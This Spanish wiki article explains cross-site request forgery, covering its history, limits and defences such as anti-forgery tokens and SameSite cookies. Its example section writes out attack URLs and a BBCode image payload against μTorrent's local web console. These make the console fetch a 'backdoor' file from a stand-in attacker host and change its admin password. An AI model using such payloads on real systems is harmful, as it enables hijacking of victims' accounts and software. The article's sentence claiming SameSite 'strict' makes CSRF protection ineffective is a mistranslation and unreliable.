Hispanopedia Wiki
Articulo de referencia

Falsificación de solicitudes entre sitios

La falsificación de solicitudes entre sitios , también conocida como ataque de un clic o secuestro de sesión y abreviada como CSRF (a veces pronunciada sea-surf [ 1 ] ) o XSRF ,...

Hispanopedia WikiContenido en espanolLectura gratuita

La falsificación de solicitudes entre sitios , también conocida como ataque de un clic o secuestro de sesión y abreviada como CSRF (a veces pronunciada sea-surf [ 1 ] ) o XSRF , es un tipo de explotación maliciosa de un sitio web o aplicación web donde se envían comandos no autorizados desde un usuario en el que la aplicación web confía. [ 2 ] Hay muchas maneras en que un sitio web malicioso puede transmitir dichos comandos; etiquetas de imagen especialmente diseñadas, formularios ocultos y fetch de JavaScript o XMLHttpRequests, por ejemplo, pueden funcionar sin la interacción o incluso el conocimiento del usuario. A diferencia del cross-site scripting (XSS), que explota la confianza que un usuario tiene en un sitio en particular, CSRF explota la confianza que un sitio tiene en el navegador de un usuario. [ 3 ] En un ataque CSRF, un usuario final inocente es engañado por un atacante para que envíe una solicitud web que no tenía intención de realizar. Esto puede provocar que se realicen acciones en el sitio web que pueden incluir fugas involuntarias de datos del cliente o del servidor, cambios en el estado de la sesión o manipulación de la cuenta de un usuario final.

El término "CSRF" también se utiliza como abreviatura en las medidas de defensa contra los ataques CSRF, como las técnicas que utilizan datos de encabezado, datos de formulario o cookies para detectar y prevenir este tipo de ataques.

Características

En un ataque CSRF, el objetivo del atacante es lograr que una víctima inocente envíe, sin saberlo, una solicitud web maliciosa a un sitio web al que tiene acceso privilegiado. Esta solicitud puede incluir parámetros de URL, cookies y otros datos que el servidor web que la procesa parecen normales. Las aplicaciones web que realizan acciones basadas en la información de usuarios autenticados y de confianza corren riesgo sin que el usuario tenga que autorizar la acción específica (por ejemplo, mediante una ventana emergente de confirmación). Un usuario autenticado mediante una cookie guardada en su navegador podría enviar, sin saberlo, una solicitud HTTP a un sitio que confía en él y, por lo tanto, provocar una acción no deseada.

Una característica general de los navegadores web es que incluyen de forma automática e invisible cualquier cookie (incluidas las cookies de sesión y otras) utilizada por un dominio determinado en cualquier solicitud web enviada a dicho dominio. [ 4 ] Esta característica es explotada por los ataques CSRF. En caso de que un usuario sea engañado para que envíe inadvertidamente una solicitud a través de su navegador, estas cookies incluidas automáticamente harán que la solicitud falsificada parezca real para el servidor web, y este realizará las acciones solicitadas, como devolver datos, manipular el estado de la sesión o realizar cambios en la cuenta de la víctima.

Para que un ataque CSRF funcione, el atacante debe identificar una solicitud web reproducible que ejecute una acción específica, como cambiar la contraseña de una cuenta en la página objetivo. Una vez identificada dicha solicitud, se puede crear un enlace que genere esta solicitud maliciosa y ese enlace puede insertarse en una página bajo el control del atacante. [ 1 ] [ 5 ] Este enlace puede colocarse de tal manera que ni siquiera sea necesario que la víctima haga clic en él. Por ejemplo, puede insertarse dentro de una etiqueta de imagen HTML en un correo electrónico enviado a la víctima, que se cargará automáticamente cuando la víctima abra su correo. Una vez que la víctima haga clic en el enlace, su navegador incluirá automáticamente las cookies utilizadas por ese sitio web y enviará la solicitud al servidor web. El servidor web no podrá identificar la falsificación porque la solicitud fue realizada por un usuario que había iniciado sesión y enviado todas las cookies necesarias.

La falsificación de solicitudes entre sitios es un ejemplo de ataque de agente confundido contra un navegador web, ya que un atacante con menos privilegios engaña al navegador para que envíe una solicitud falsificada.

CSRF suele tener las siguientes características:

Historia

Las vulnerabilidades de token CSRF se conocen y, en algunos casos, se han explotado desde 2001. [ 6 ] Debido a que se realiza desde la dirección IP del usuario , es posible que algunos registros de sitios web no tengan evidencia de CSRF. [ 2 ] Los exploits se reportan poco, al menos públicamente, y hasta 2007 [ 7 ] había pocos ejemplos bien documentados:

  • El sitio web de Netflix en 2006 tenía numerosas vulnerabilidades a CSRF, que podrían haber permitido a un atacante realizar acciones como agregar un DVD a la cola de alquiler de la víctima, cambiar la dirección de envío de la cuenta o alterar las credenciales de inicio de sesión de la víctima para comprometer completamente la cuenta. [ 8 ]
  • La aplicación web de banca en línea de ING Direct era vulnerable a un ataque CSRF que permitía transferencias de dinero ilícitas. [ 9 ]
  • El popular sitio web de videos YouTube también fue vulnerable a CSRF en 2008 y esto permitió a cualquier atacante realizar casi todas las acciones de cualquier usuario. [ 9 ]
  • McAfee Secure también era vulnerable a CSRF y permitía a los atacantes modificar el sistema de la empresa. Esto se ha solucionado en versiones más recientes. [ 10 ]

Ejemplo

Una página de la Base de Datos Nacional de Vulnerabilidades que describe una vulnerabilidad CSRF.

Los atacantes que puedan encontrar un enlace reproducible que ejecute una acción específica en la página objetivo mientras la víctima está conectada pueden insertar dicho enlace en una página que controlan y engañar a la víctima para que la abra. [ 1 ] El enlace portador del ataque puede colocarse en una ubicación que la víctima probablemente visite mientras esté conectada al sitio objetivo (por ejemplo, un foro de discusión), o enviarse en el cuerpo de un correo electrónico HTML o como archivo adjunto. Una vulnerabilidad CSRF real en μTorrent ( CVE-2008-6586 ) explotó el hecho de que su consola web accesible en localhost :8080 permitía ejecutar acciones críticas mediante una simple solicitud GET:

Forzar la descarga de un archivo .torrent
http://localhost:8080/gui/?action=add-url & s=http://evil.example.com/backdoor.torrent
Cambiar la contraseña de administrador de μTorrent
http://localhost:8080/gui/?action=setsetting & s=webui.password & v=eviladmin

Los ataques se lanzaron insertando elementos de imagen HTML maliciosos de acción automática en foros y correos electrónicos no deseados , de modo que los navegadores que visitaban estas páginas las abrían automáticamente, sin apenas intervención del usuario. Las personas que utilizaban una versión vulnerable de μTorrent al mismo tiempo que abrían estas páginas eran susceptibles al ataque.

Los ataques CSRF que utilizan etiquetas de imagen a menudo se realizan desde foros de Internet , donde a los usuarios se les permite publicar imágenes pero no JavaScript , por ejemplo, utilizando BBCode :

[img] http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent [/img]

Al acceder al enlace de ataque a la aplicación local de μTorrent en localhost:8080 , el navegador también envía automáticamente las cookies existentes para ese dominio. Esta característica general de los navegadores web permite que los ataques CSRF exploten sus vulnerabilidades y ejecuten acciones maliciosas siempre que el usuario haya iniciado sesión en el sitio web objetivo (en este ejemplo, la interfaz web local de μTorrent) en el momento del ataque.

En el ejemplo de μTorrent descrito anteriormente, el ataque se vio facilitado por el hecho de que la interfaz web de μTorrent utilizaba solicitudes GET para operaciones críticas de cambio de estado (cambiar credenciales, descargar un archivo, etc.), lo cual el RFC 2616 desaconseja explícitamente: 

En particular, se ha establecido la convención de que los métodos GET y HEAD NO DEBEN implicar ninguna acción distinta a la recuperación de datos. Estos métodos deben considerarse «seguros». Esto permite que los agentes de usuario representen otros métodos, como POST, PUT y DELETE, de una manera especial, para que el usuario sea consciente de que se está solicitando una acción potencialmente insegura.

Debido a esta suposición, muchos mecanismos de prevención de CSRF existentes en los marcos web no cubren las solicitudes GET , sino que aplican la protección solo a los métodos HTTP que están destinados a cambiar el estado. [ 11 ]

Falsificación de solicitudes de inicio de sesión

Un atacante puede falsificar una solicitud para que la víctima inicie sesión en un sitio web objetivo utilizando sus propias credenciales; esto se conoce como CSRF de inicio de sesión . El CSRF de inicio de sesión posibilita diversos ataques novedosos; por ejemplo, un atacante puede posteriormente iniciar sesión en el sitio con sus credenciales legítimas y ver información privada, como el historial de actividad guardado en la cuenta. Este ataque se ha demostrado contra Google [ 12 ] y Yahoo [ 13 ] .

Verbos HTTP y CSRF

Según el tipo, los métodos de solicitud HTTP varían en su susceptibilidad a los ataques CSRF (debido a las diferencias en su manejo por parte de los navegadores web ). Por lo tanto, las medidas de protección contra un ataque dependen del método de solicitud HTTP.

  • En HTTP GET, la explotación de CSRF es trivial, utilizando los métodos descritos anteriormente, como un simple hipervínculo con parámetros manipulados y cargado automáticamente mediante una etiqueta IMG . Sin embargo, según la especificación HTTP, GET debe utilizarse como un método seguro , es decir, que no altere significativamente el estado del usuario en la aplicación. Las aplicaciones que utilicen GET para este tipo de operaciones deberían cambiar a HTTP POST o implementar protección anti-CSRF.
  • La vulnerabilidad de HTTP POST a CSRF depende del escenario de uso:
  • Otros métodos HTTP (PUT, DELETE, etc.) solo se pueden emitir utilizando XMLHttpRequest con la política de mismo origen (SOP) y el uso compartido de recursos de origen cruzado (CORS) que previenen CSRF; sin embargo, estas medidas no estarán activas en los sitios web que las deshabiliten explícitamente mediante Access-Control-Allow-Origin: *el encabezado

Otros enfoques para CSRF

Además, si bien generalmente se describe como un tipo de ataque estático, CSRF también puede construirse dinámicamente como parte de una carga útil para un ataque de secuencias de comandos entre sitios , como lo demuestra el gusano Samy , o construirse sobre la marcha a partir de información de sesión filtrada a través de contenido externo y enviada a un objetivo como una URL maliciosa. Los tokens CSRF también podrían ser enviados a un cliente por un atacante debido a la fijación de sesión u otras vulnerabilidades, o adivinados a través de un ataque de fuerza bruta , mostrados en una página maliciosa que genera miles de solicitudes fallidas. La clase de ataque de "CSRF dinámico", o el uso de una carga útil por cliente para la falsificación específica de la sesión, fue descrita [ 16 ] en 2009 por Nathan Hamiel y Shawn Moyer en BlackHat Briefings, [ 17 ] aunque la taxonomía aún no ha logrado una adopción más amplia.

Oren Ofer presentó un nuevo vector para componer ataques CSRF dinámicos en una reunión de un capítulo local de OWASP en enero de 2012: "AJAX Hammer - CSRF dinámico". [ 18 ] [ 19 ]

Efectos

Se han emitido métricas de gravedad para vulnerabilidades de tokens CSRF que resultan en la ejecución remota de código con privilegios de root [ 20 ] así como una vulnerabilidad que puede comprometer un certificado raíz , lo que socavará por completo una infraestructura de clave pública . [ 21 ]

Limitaciones

Para que la falsificación de solicitudes entre sitios tenga éxito, deben darse varias circunstancias:

  1. El atacante debe dirigirse a un sitio que carezca de protección CSRF, como un sitio que no utilice tokens CSRF impredecibles , no aplique cookies SameSite o haya eludido la política de mismo origen mediante el intercambio de recursos de origen cruzado . [ 5 ] [ 22 ]
  2. El atacante debe encontrar una acción que modifique el estado en el sitio objetivo, como el envío de un formulario o una URL que realice alguna acción (por ejemplo, transferir dinero o cambiar la dirección de correo electrónico o la contraseña de la víctima). [ 5 ] [ 22 ] Las acciones que solo recuperan datos no son útiles como objetivos CSRF, porque el atacante no recibe la respuesta. [ 22 ]
  3. El atacante debe determinar los valores correctos para todos los formularios o entradas de URL; si alguno de ellos requiere valores de autenticación secretos o identificadores que el atacante no pueda adivinar, el ataque fracasará. [ 5 ]
  4. El atacante debe atraer a la víctima a una página web con código malicioso mientras la víctima está conectada al sitio objetivo. La víctima debe estar autenticada de una manera que se incluya automáticamente en las solicitudes del navegador, como una cookie de sesión . Esto permite que la autenticación se incluya en las solicitudes maliciosas del atacante. [ 5 ] [ 22 ]

El ataque es ciego: el atacante no puede ver lo que el sitio web objetivo envía a la víctima en respuesta a las solicitudes falsificadas, a menos que explote una vulnerabilidad de secuencias de comandos entre sitios (XSS) u otro fallo en el sitio web objetivo. Del mismo modo, el atacante solo puede atacar los enlaces o enviar los formularios que aparezcan después de la solicitud falsificada inicial si esos enlaces o formularios posteriores son igualmente predecibles. Se pueden simular múltiples objetivos incluyendo varias imágenes en una página o utilizando JavaScript para introducir un retraso entre clics. [ 23 ]

Prevención

La mayoría de las técnicas de prevención de CSRF funcionan incorporando datos de autenticación adicionales en las solicitudes, lo que permite a la aplicación web detectar solicitudes procedentes de ubicaciones no autorizadas.

Patrón de token del sincronizador

El patrón de token de sincronización (STP) es una técnica en la que la aplicación web incorpora un token, un valor secreto y único para cada solicitud, en todos los formularios HTML, el cual se verifica en el servidor. El token puede generarse mediante cualquier método que garantice su imprevisibilidad y unicidad (por ejemplo, utilizando una cadena hash con una semilla aleatoria ). En ASP.NET , esto se denomina token antifalsificación . De esta forma, el atacante no puede insertar un token correcto en sus solicitudes para autenticarlas. [ 1 ] [ 24 ] [ 25 ]

Ejemplo de STP configurado por Django en un formulario HTML:

<input type= "hidden" name= "csrfmiddlewaretoken" value= "KbyUmhTLMPYj7CD2di7JKP1P3qmLlkPt" />

STP es el método más compatible, ya que solo se basa en HTML, pero introduce cierta complejidad en el servidor debido a la carga que supone verificar la validez del token en cada solicitud. Dado que el token es único e impredecible, también impone una secuencia de eventos predefinida (por ejemplo, pantalla 1, luego 2, luego 3), lo que genera problemas de usabilidad (por ejemplo, el usuario abre varias pestañas). Esto se puede mitigar utilizando un token CSRF por sesión en lugar de un token CSRF por solicitud.

Las aplicaciones web que utilizan JavaScript para la mayoría de sus operaciones pueden utilizar la siguiente técnica anti-CSRF:

  • En una visita inicial sin una sesión de servidor asociada, la aplicación web establece una cookie. La cookie normalmente contiene un token aleatorio que puede permanecer igual durante toda la duración de la sesión web.
Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/; SameSite=Lax; Secure
  • JavaScript, que opera en el lado del cliente, lee su valor y lo copia en un encabezado HTTP personalizado que se envía con cada solicitud transaccional.
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • El servidor valida la presencia e integridad del token.

La seguridad de esta técnica se basa en la suposición de que solo JavaScript ejecutándose en el lado del cliente de una conexión HTTPS al servidor que estableció inicialmente la cookie podrá leer su valor. JavaScript ejecutándose desde un archivo o correo electrónico malicioso no debería poder leer correctamente el valor de la cookie para copiarlo en el encabezado personalizado. Aunque la cookie csrf-token se envíe automáticamente con la solicitud maliciosa, sujeta a la política SameSite de cookies, el servidor seguirá esperando un encabezado X-Csrf-Token válido .

El token CSRF en sí debe ser único e impredecible. Puede generarse aleatoriamente o derivarse del token de sesión mediante HMAC :

csrf_token = HMAC(session_token, application_secret)

La cookie del token CSRF no debe tener la bandera httpOnly , ya que está diseñada para ser leída por JavaScript .

Esta técnica es implementada por muchos frameworks modernos, como Django [ 26 ] y AngularJS . [ 27 ] Debido a que el token permanece constante durante toda la sesión del usuario, funciona bien con aplicaciones AJAX , pero no impone una secuencia de eventos en la aplicación web.

La protección que ofrece esta técnica puede verse frustrada si el sitio web de destino desactiva su política de mismo origen utilizando alguna de las siguientes técnicas:

  • Archivo clientaccesspolicy.xml que otorga acceso no deseado a los controles de Silverlight [ 28 ]
  • Archivo crossdomain.xml que otorga acceso no deseado a películas Flash [ 29 ]

De forma similar al método de cookie a encabezado, pero sin utilizar JavaScript, un sitio puede establecer un token CSRF como una cookie e insertarlo como un campo oculto en cada formulario HTML. Al enviar el formulario, el sitio puede verificar que el token de la cookie coincida con el token del formulario. La política de mismo origen impide que un atacante lea o establezca cookies en el dominio objetivo, por lo que no puede insertar un token válido en su formulario manipulado. [ 30 ]

La ventaja de esta técnica sobre el patrón Sincronizador es que el token no necesita almacenarse en el servidor. Sin embargo, si el sitio en cuestión cuenta con la funcionalidad de configuración de cookies, esta protección puede eludirse.

Se puede incluir un atributo adicional "SameSite" cuando el servidor establece una cookie, indicando al navegador si debe adjuntarla a las solicitudes entre sitios. Si este atributo se establece en "strict", la cookie solo se enviará en solicitudes del mismo sitio, lo que hace que la protección CSRF sea ineficaz. Sin embargo, esto requiere que el navegador reconozca e implemente correctamente el atributo. [ 31 ]

Medidas de seguridad del lado del cliente

Las extensiones de navegador como RequestPolicy (para Mozilla Firefox ) o uMatrix (para Firefox y Google Chrome / Chromium ) pueden prevenir el CSRF al establecer una política de denegación por defecto para las solicitudes entre sitios. Sin embargo, esto puede interferir significativamente con el funcionamiento normal de muchos sitios web. La extensión CsFire (también para Firefox) puede mitigar el impacto del CSRF con menor impacto en la navegación normal, eliminando la información de autenticación de las solicitudes entre sitios.

La extensión NoScript para Firefox mitiga las amenazas CSRF al distinguir entre sitios de confianza y sitios que no lo son, y al eliminar la autenticación y las cargas útiles de las solicitudes POST enviadas por sitios no confiables a sitios confiables. El módulo Application Boundary Enforcer de NoScript también bloquea las solicitudes enviadas desde páginas de internet a sitios locales (por ejemplo, localhost), lo que previene ataques CSRF en servicios locales (como uTorrent) o enrutadores.

La extensión Self Destructing Cookies para Firefox no protege directamente contra CSRF, pero puede reducir la ventana de ataque eliminando las cookies tan pronto como dejan de estar asociadas a una pestaña abierta.

Otras técnicas

Históricamente, se han utilizado o propuesto diversas técnicas para la prevención de la CSRF:

  • Verificar que los encabezados de la solicitud contengan X-Requested-With(utilizado por Ruby on Rails antes de la v2.0 y Django antes de la v1.2.5), o comprobar el Refererencabezado HTTP y/o Originel encabezado HTTP. [ 32 ]
  • Comprobar el encabezado HTTPReferer para ver si la solicitud proviene de una página autorizada es una práctica común en dispositivos de red integrados, ya que no aumenta los requisitos de memoria. Sin embargo, una solicitud que omite el Refererencabezado debe tratarse como no autorizada, puesto que un atacante puede suprimirlo Refereremitiendo solicitudes desde URL FTP o HTTPS. Esta Referervalidación estricta puede causar problemas con navegadores o proxies que omiten el Refererencabezado por motivos de privacidad. Además, las versiones antiguas de Flash (anteriores a la 9.0.18) permiten que Flash malicioso genere solicitudes GET o POST con encabezados HTTP arbitrarios mediante inyección CRLF . [ 33 ] Vulnerabilidades similares de inyección CRLF en un cliente pueden utilizarse para falsificar el referente de una solicitud HTTP.
  • Durante un tiempo, se consideró que el método de solicitud POST era inmune a los ataques CSRF triviales que utilizaban parámetros en la URL (mediante el método GET). Sin embargo, tanto POST como cualquier otro método HTTP ahora se pueden ejecutar fácilmente utilizando XMLHttpRequest . El filtrado de solicitudes GET inesperadas aún previene algunos ataques específicos, como los ataques entre sitios que utilizan URL de imágenes o direcciones de enlaces maliciosas y la fuga de información entre sitios a través de <script>elementos ( secuestro de JavaScript ); también previene problemas (no relacionados con la seguridad) con rastreadores web agresivos y la precarga de enlaces . [ 1 ]

Las vulnerabilidades de secuencias de comandos entre sitios (XSS) (incluso en otras aplicaciones que se ejecutan en el mismo dominio) permiten a los atacantes eludir prácticamente todas las medidas de prevención de CSRF. [ 34 ]

Véase también

Referencias

  1. 1 2 3 4 5 Shiflett, Chris (13 de diciembre de 2004). "Rincón de seguridad: falsificaciones de solicitudes entre sitios" . php | architect (a través de shiflett.org) . Recuperado el 3 de julio de 2008 .
  2. ^ Rístico , Ivan (2005). Seguridad Apache . Medios O'Reilly. pag. 280 . ISBN  0-596-00724-8.
  3. ↑ "¿Qué es la falsificación de solicitudes entre sitios (CSRF) y cómo funciona? | Synopsys" .
  4. ↑ Barth, Adam (abril de 2011). Mecanismo de gestión de estado HTTP (Informe). Grupo de trabajo de ingeniería de Internet.
  5. 1 2 3 4 5 "Falsificación de solicitud entre sitios (CSRF)" . Portswigger . Consultado el 19 de junio de 2026 .
  6. ↑ Burns, Jesse (2005). "Falsificación de solicitudes entre sitios: una introducción a una debilidad web común" (PDF) . Information Security Partners, LLC. Archivado del original (PDF) el 21 de enero de 2013. Recuperado el 12 de diciembre de 2011 .
  7. ↑ Christey, Steve; Martin, Robert A. (22 de mayo de 2007). "Distribuciones de tipos de vulnerabilidad en CVE (versión 1.1)" . MITRE Corporation . Recuperado el 7 de junio de 2008 .
  8. ↑ Washkuch Jr., Frank (17 de octubre de 2006). "Netflix corrige la vulnerabilidad de falsificación de solicitudes entre sitios" . SC Magazine . Consultado el 11 de febrero de 2019 .
  9. 1 2 William Zeller; Edward W. Felten (octubre de 2008). "Falsificaciones de solicitudes entre sitios: explotación y prevención" (PDF) . Recuperado el 29 de mayo de 2015 .
  10. ↑ Mike, Bailey (2009). "CSRF: Sí, todavía funciona…" (PDF) . DEFCON.
  11. ↑ "Protección contra falsificación de solicitudes entre sitios | Documentación de Django | Django" . docs.djangoproject.com . Consultado el 21 de agosto de 2015 .
  12. ↑ Adam Barth, Collin Jackson y John C. Mitchell, Defensas robustas contra la falsificación de solicitudes entre sitios , Actas de la 15.ª Conferencia ACM sobre seguridad informática y de comunicaciones, ACM 2008
  13. ↑ Joseph Foulds, Falsificación de solicitud de inicio de sesión mediante monitoreo pasivo, Yahoo. Archivado el 22 de diciembre de 2014 en Wayback Machine.
  14. ↑ "Falsificación de solicitud entre sitios para solicitudes POST con un cuerpo XML" . pentestmonkey . Consultado el 4 de septiembre de 2015 .
  15. ↑ Sheeraj Shah (2008). "Web 2.0 Hacking Defending Ajax & Web Services" (PDF) . HITB . Consultado el 4 de septiembre de 2015 .
  16. ↑ "Corrección de seguridad: la instrumentalización de la Web 2.0" . Archivado del original el 28 de mayo de 2012.
  17. ↑ CSRF dinámico archivado el 13/02/2010 en Wayback Machine
  18. ↑ Owasp.org: Israel 2012/01: AJAX Hammer – Aprovechamiento de AJAX para ataques CSRF Archivado el 2013-10-01 en Wayback Machine
  19. ↑ Descargas – hasc-research – hasc-research – Google Project Hosting . Code.google.com (17 de junio de 2013). Consultado el 12 de abril de 2014.
  20. ↑ "Nota de vulnerabilidad VU#584089 - Vulnerabilidades XSRF de cPanel" .
  21. ↑ "Nota de vulnerabilidad VU#264385: OpenCA permite la falsificación de solicitudes entre sitios (XSRF)" .
  22. 1 2 3 4 S, Kirsten. "Falsificación de solicitud entre sitios (CSRF)" . Fundación OWASP . Recuperado el 20 de junio de 2026 .
  23. ↑ "CSRF: Explicación de los ataques de falsificación de solicitudes entre sitios" . IONOS Digitalguide . Consultado el 26 de abril de 2022 .
  24. ↑ "Hoja de trucos para la prevención de falsificación de solicitudes entre sitios (CSRF)" . OWASP . Consultado el 19 de julio de 2019 .
  25. ↑ "Artículos de Valhalla: Falsificación de solicitudes entre sitios: Desmitificada" . Archivado del original el 29 de enero de 2014.
  26. ↑ "Protección contra falsificación de solicitudes entre sitios" . Django. Archivado del original el 20 de enero de 2015. Consultado el 20 de enero de 2015 .
  27. ↑ "Protección contra falsificación de solicitudes entre sitios (XSRF)" . AngularJS . Consultado el 20 de enero de 2015 .
  28. ↑ "Hacer que un servicio esté disponible a través de los límites de los dominios" .
  29. ↑ Adamski, Lucas. "Recomendaciones sobre el uso de archivos de políticas de dominio cruzado para Flash Player - Adobe Developer Connection" .
  30. ↑ "Defensa contra cookies de doble envío" . OWASP.
  31. ↑ "Cookies SameSite" . Mozilla. 10 de abril de 2023.
  32. ↑ Propuesta de encabezado de origen archivada el 8 de marzo de 2016 en Wayback Machine . People.mozilla.org. Recuperado el 29 de julio de 2013.
  33. ↑ «Aviso Secunia SA22467» . Secunia. 19 de octubre de 2006 . Consultado el 11 de septiembre de 2012 .
  34. ↑ Schneider, Christian. "CSRF y XSS del mismo origen" . Archivado del original el 14 de agosto de 2012. Consultado el 21 de abril de 2012 .
  • Un hecho muy ignorado sobre la falsificación de solicitudes entre sitios
  • Preguntas frecuentes sobre la falsificación de solicitudes entre sitios
  • Falsificación de solicitud entre sitios (CSRF) del proyecto de clasificación de amenazas del Consorcio de Seguridad de Aplicaciones Web.
Lecturas relacionadas
6 articulos
Exploit (seguridad informática)Exploit (seguridad informática)Un exploit es un método o fragmento de código que aprovecha vulnerabilidades en software , aplicaciones , redes , sistemas operativos o hardware , ...Sitio webSitio webUn sitio web (también escrito como sitio web ) es una o más páginas web y contenido relacionado que se identifica por un nombre de dominio común y ...Usuario (informática)Dentro de un programa de computadora o un sitio web , un usuario a menudo está representado por un ícono abstracto de una persona. Un usuario es un...Solicitud XMLHttpSolicitud XMLHttpXMLHttpRequest ( XHR ) es una API en forma de objeto JavaScript cuyos métodos transmiten solicitudes HTTP desde un navegador web a un servidor web ...JavaScriptJavaScriptJavaScript ( / ˈdʒ ɑː v ə s k r ɪ p t / ), a menudo abreviado como JS , es un lenguaje de programación y una tecnología central de la Web , junto c...versión vectorialScripting entre sitiosLos ataques de secuencias de comandos entre sitios ( XSS ) son un tipo de vulnerabilidad de seguridad que se puede encontrar en algunas aplicacione...